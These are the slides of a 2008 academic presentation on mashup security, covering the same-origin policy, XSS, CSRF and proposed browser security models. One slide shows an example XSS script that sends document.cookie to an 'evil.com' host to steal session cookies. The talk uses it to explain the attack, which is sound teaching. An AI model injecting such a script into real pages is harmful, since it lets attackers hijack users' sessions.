

Mashup Security

Mashup Security

Jyrki Hakkola

28.03.2008

Mashup Security

Contents of presentation

- Introduction
- Technologies
- Security Issues
- Future
- Conclusions

Mashup Security

Introduction

Mashup Security

Introduction

- What are mashups
 - Web application that gathers data around the web and puts the data from several sources together
 - Usually uses information sources provided by others
 - The result has more value to user than single pieces of information
 - Example:
 - Map from one source (for example from Google)
 - Location of services (restaurants, houses to be sold etc.) from other source
 - The result is a map with services placed on it

Mashup Security

Introduction

- Enterprise mashups
 - The next step with mashups?
 - Mashups that combine
 - enterprise applications with external applications
 - internal data with external data
 - Possible scenarios:
 - Data from travel site combined with internal travel applications
 - Shipping information combined with Google maps available for parties in product chain

Mashup Security

Introduction

- Web browser's role
 - Was a tool for accessing static HTML pages
 - Has become a platform for Web 2.0 applications
 - The traditional security model has two alternatives:
 - no trust
 - full trust
 - This doesn't fit in needs of today's applications as such

Mashup Security

Technologies

Mashup Security

Technologies

- Asynchronous JavaScript + XML (Ajax)
 - Key technology in developing Web 2.0 applications
 - Traditionally a web page was loaded once and when a part of it was to be updated the whole page was loaded again
 - XMLHttpRequest is an API that enables connections to server from client side via HTTP
 - Ajax applications use it to exchange data in small amounts without loading the whole page
 - Transfer format typically JSON, XML, HTML, Plain text etc.

Mashup Security

Technologies

- JavaScript is used on client side to:
 - make connections by using XMLHttpRequest and gather data
 - modify the page on the fly by accessing DOM and CSS stylesheets
- User is provided with an experience more and more like a desktop application

Mashup Security

Technologies

- Other technologies
 - Really Simple Syndication (RSS)
- This paper focuses on client side security issues
 - Web 2.0 applications gather content from several sources
 - Only the browser can 'see' the final result

Mashup Security

Security Issues

Mashup Security

Current security model

- Same-Origin Policy (SOP)
 - Current browsers implement this
 - Same origin means same protocol, host and port
 - `http://a.domain.com` is different than `http://b.domain.com`
 - `http://domain.com/a` is same than `http://domain.com/b`
 - Exceptions
 - Resource files like scripts and images are handled as content of parent document even if they are not from same domain

Mashup Security

Current security model

- Documents of same origin
 - can access each other in other windows or frames
 - can access each other's
 - DOM
 - scripts
 - cookies
- Connections using XMLHttpRequest are allowed to same origin
- SOP can be avoided
 - Ajax proxies
 - Dynamic script tags
 - Browser extensions and plugins

Mashup Security

Current security model

- Conflict
 - The nature of mashups is to use content from different sources
 - The nature of SOP is not to allow using content from different sources
- Functionality vs. security
 - Current security model's all-or-nothing approach leads to situation where security is often sacrificed if versatile and scalable functionality is wanted
 - If SOP is avoided and access is given to third party component it will have access to everything

Mashup Security

Security issues

- Security issues divided into two categories:
 - 1) The security of technologies and practices
 - Arise directly from problems and loop-holes of technology used
 - Usually because of hostile user behaviour
 - Security problems exist because mashups are implemented by using a certain technology
 - 2) Trustworthiness of content
 - Security problems exist because of nature of mashups

Mashup Security

Current problems in technology and practices – XSS

- Cross-Site Scripting (XSS)
 - Browser executes scripts in a page instantly when the page is loaded
 - Trusted content is injected with malicious code
 - ➔ Browser executes the code because it is a part of trusted content
 - Can be used for example to:
 - steal session cookies
 - access restricted information
 - rewrite parts of the page

Mashup Security

Current problems in technology and practices – XSS

- Example of script that steals session cookies when executed:

```
<script>
```

```
document.images[0].src="http://evil.com/steal?cookie="
```

```
+ document.cookie;
```

```
</script>
```

- Code will be executed instantly
- Images are an exception of SOP
- Cookie information is sent to evil domain

Mashup Security

Current problems in technology and practices – XSS

- Two types:
 - Reflected
 - User is somehow (for example by clicking a link) lured to send malicious code to server
 - Server side functionality creates response and prints the user input as content of response page
 - The malicious code is "reflected" back to user as page content
 - Browser executes the code as a part of trusted content
 - Stored
 - Malicious code is inserted for example to a discussion forum or a guestbook or other service in web that allows user input and is stored
 - When page content is created the malicious code is printed as part of it and will be executed by the browser

Mashup Security

Current problems in technology and practices – XSS

- Usage of Ajax makes the execution of code to happen in background
 - It may be hard to notice that something unwanted is happening
- Real life examples
 - Samy (2005)
 - Yamanner (2006)
- Web 2.0 applications are excellent target for XSS attacks
 - The trend is that users create content
 - Rich user input is needed

Mashup Security

Current problems in technology and practices – XSS

- The only way to avoid is input sanitization
 - By default user input cannot be trusted
- Again functionality vs. security
 - If users are going to be allowed to create versatile and dynamic content the security is often threatened in today's security model

Mashup Security

Current problems in technology and practices – CSRF

- Cross-Site Request Forgeries (CSRF)
 - Authentication is usually carried out by using session cookies or HTTP authentication
 - Site "remembers" user and user id and inputting of user name and password is not needed in every connection
 - Web site trusts the user
 - CSRF abuses this trust

Mashup Security

Current problems in technology and practices – CSRF

- Example:
 - User is logged in a service and opens a page with malicious code in another window
 - Malicious code opens a connection to trusted site
 - Site thinks that the trusted user is making the connection because the browser is authenticated automatically
 - Attacker can act as a logged in user
- Possible scenarios:
 - Online banking system
 - Web store
 - Webmail

Mashup Security

Current problems in technology and practices

- RSS Injection
 - RSS feed is injected with malicious code which is executed by feed reader
- Denial of Service (DoS)
 - Service is drowned with false requests
 - Executing malicious JavaScript makes this possible

Mashup Security

Current problems in technology and practices

- Non-professional developers
 - Mashups are often referred as end user tools
 - Most of the mashups today are truly made by non-professionals
 - They may not have enough knowledge nor experience to take security issues into account
 - Providers of mashup APIs also have great responsibility
 - End users may not have an idea of what secure mashup means

Mashup Security

Trust and principles

- Problems that arise from the nature of mashups
 - The basic idea is to use information sources provided by others
 - In category 1 problems the question is if the content itself is secure
 - In this category the question is if the provider of the content can be trusted or not
 - There is no way to measure this kind of trust, instead it has to be gained
 - Discussion and proposals concerning technological issues exist – this category is not covered very well

Mashup Security

Security issues with enterprise mashups

- Enterprise mashups
 - Security is even more important than with non-business applications
 - Exposing internal data in public web is usually prohibited
 - Giving external scripts access to internal data is most probably prohibited
 - Most of the companies already have some kind of guidelines for security
 - Guidelines for mashups are also needed

Mashup Security

Future

Mashup Security

Future

- The main security problems result from current security model lagging behind the needs of today's web applications
- The security model needs to be improved somehow
- Some proposals exist

Mashup Security

Future

- Verifiable-Origin Policy (VOP) instead of SOP (Helen J. Wang among others)
 - Content from other origins also is allowed but it will not have automatically access to everything
 - Developers can decide if the content from other domains is trusted enough to have access to original content
 - New tags
 - <ServiceInstance>
 - <Sandbox>
 - <OpenSandbox>

Mashup Security

Future

- `<module>` tag (Douglas Crockford)
 - Somehow similar to the previous one
 - Content from other origins is allowed in `<module>` tag
 - Content of tag could communicate with the outer layer in JSON format

Mashup Security

Future

- Principals (Benjamin Livshits and Ulfar Erlingsson)
 - Addition to SOP
 - New principal attribute in HTML elements
 - Example:

```
<div principal='blog-body'>
  <b>Blog entries</b>
  <div principal='blog-entry'>
    today's entry
  </div>
  <div principal='blog-entry'>
    yesterday's entry
  </div>
</div>
```

Mashup Security

Future

- Only objects with same set of principals in same order can access each other
- Easy to create restrictions
- Easy to add to mashup creation frameworks
 - Developers would not need to actually write attributes to code if the elements are created dynamically

Mashup Security

Conclusions

Mashup Security

Conclusions

- Issues of mashup security usually fall in the same category with the common security issues of Web 2.0 technologies
- The main problem is that principles of web browser security model is lagging behind the development pace of current web applications
 - Same Origin Policy doesn't fit as such because the trend is to use several origins
 - If the current model is tried to stretch the security is often sacrificed same time
 - Totally secure application will probably be totally unusable

Mashup Security

Conclusions

- There are some interesting proposals for improving the security model
 - In technology's point of view security will probably improve in future
 - But how fast?
 - Even if new models were introduced old browsers would remain in market a long time
 - There will still always be problems that arise from current technologies
 - However improving security model will probably make usage of enterprise mashups easier

Mashup Security

Conclusions

- The problems that exist because of the nature of mashups are more interesting than the problems that arise from technology
 - Technology problems will always exist in some form and they are not unique for mashups
 - However there is no clear answer to problems of principle
 - Eventually trusting another party is a decision and there is no clear way to make these decisions by using some technology

Mashup Security

Thank you!